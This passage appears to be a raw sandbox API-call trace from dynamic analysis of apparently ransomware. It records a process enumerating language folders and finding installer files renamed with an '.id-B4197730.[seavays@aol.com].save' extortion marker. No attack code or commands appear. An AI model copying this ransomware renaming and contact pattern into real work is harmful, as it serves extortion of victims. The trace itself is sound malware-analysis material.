dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.518] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x748055f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x748055f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x74a7b4e, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.518] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x748055f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x748055f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x74a7b4e, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.518] FindClose (in: hFindFile=0x72a6c8 | out: hFindFile=0x72a6c8) returned 1 [0158.519] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.519] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0158.519] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.519] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a848 [0158.521] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.521] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x8396179, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x8396179, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8396179, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xec4, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.521] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83bc41f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x83bc41f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x83bc41f, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13816, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.521] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74a7b4e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74a7b4e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x75b16f9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.521] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74a7b4e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74a7b4e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x75b16f9, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.521] FindClose (in: hFindFile=0x72a848 | out: hFindFile=0x72a848) returned 1 [0158.522] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.522] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1044", cAlternateFileName="")) returned 1 [0158.522] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.522] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a848 [0158.527] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.527] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83bc41f, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x83bc41f, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x83e24ca, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xcd4, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.527] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x83e24ca, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x83e24ca, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x88f366e, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x136c6, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.527] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74a7b4e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74a7b4e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x74cc906, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.527] FindNextFileW (in: hFindFile=0x72a848, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74a7b4e, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74a7b4e, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x74cc906, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4658, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.527] FindClose (in: hFindFile=0x72a848 | out: hFindFile=0x72a848) returned 1 [0158.528] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.528] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0158.528] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.528] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a6c8 [0158.531] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.531] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x853d076, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x853d076, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x853d076, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x10b4, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.531] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x853d076, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x853d076, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x855fce7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x142c6, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.531] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74cc906, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74cc906, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x767047d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.532] FindNextFileW (in: hFindFile=0x72a6c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x74cc906, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x74cc906, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x767047d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.532] FindClose (in: hFindFile=0x72a6c8 | out: hFindFile=0x72a6c8) returned 1 [0158.532] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.532] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1 [0158.532] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.533] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x72a3c8 [0158.534] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.535] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x855fce7, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x855fce7, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x855fce7, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xf54, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.535] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x858651b, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x858651b, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8a70cc6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13c66, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.535] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x764a1c2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x764a1c2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x764a1c2, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.535] FindNextFileW (in: hFindFile=0x72a3c8, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x764a1c2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x764a1c2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x764a1c2, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.535] FindClose (in: hFindFile=0x72a3c8 | out: hFindFile=0x72a3c8) returned 1 [0158.536] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.536] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1 [0158.536] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.536] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x4531700 [0158.878] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.879] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x85ac238, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x85ac238, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x85ac238, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0xd5a4, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.879] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x85ac238, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x85ac238, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x85d24fd, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13f46, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0158.879] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x764a1c2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x764a1c2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f4403b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0158.879] FindNextFileW (in: hFindFile=0x4531700, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x764a1c2, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x764a1c2, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7f4403b, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0158.879] FindClose (in: hFindFile=0x4531700 | out: hFindFile=0x4531700) returned 1 [0158.880] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3780730 | out: hHeap=0x710000) returned 1 [0158.880] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1 [0158.880] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3780730 [0158.880] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName=".", cAlternateFileName="")) returned 0x4531ec0 [0158.883] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="..", cAlternateFileName="")) returned 1 [0158.883] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x85d24fd, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x85d24fd, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x8b2fa3c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0xffffe152, dwReserved1=0x153, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0158.883] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87c24f3, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x87c24f3, ftLastAccessTime.dwHighDateTime=0x1d5359b, 